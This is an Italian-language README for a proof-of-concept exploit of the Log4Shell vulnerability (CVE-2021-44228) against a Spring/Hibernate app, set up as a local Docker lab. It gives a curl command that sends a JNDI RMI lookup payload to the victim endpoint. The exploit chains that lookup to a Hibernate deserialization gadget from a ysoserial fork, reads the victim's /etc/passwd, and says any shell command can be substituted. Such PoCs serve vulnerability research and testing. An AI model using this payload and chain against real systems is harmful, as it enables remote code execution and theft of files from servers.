
CVE-2021-44228 POC - Spring / Hibernate
Questo POC usa Spring / Hibernate, tuttavia un approccio simile di rmi -> deserializzazione potrebbe essere usato per innescare qualsiasi vulnerabilità di deserializzazione
$ docker-compose up
$ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '${jndi:rmi://exploit:10000/a}'
Dovresti vedere il contenuto del file /etc/passwd della vittima nei log del container attacker.
Puoi sostituire il comando nel servizio exploit per eseguire qualsiasi comando shell sulla vittima.
La vittima esegue una normale app starter Spring con le dipendenze "Spring Data JPA" (per Hibernate), "Spring Web" e "H2" (come database). Sono state apportate solo 2 modifiche a questo progetto
slf4j con il vulnerabile log4jTutte le dipendenze sono aggiornate. Non ci sono flag magici abilitati.
La vittima espone un endpoint POST su / che registra la richiesta.
L'exploit si basa su un fork di ysoserial che utilizza il generatore di exploit Hibernate. Affinché l'exploit funzioni con l'ultima versione di Hibernate, sarà necessario ricompilare ysoserial.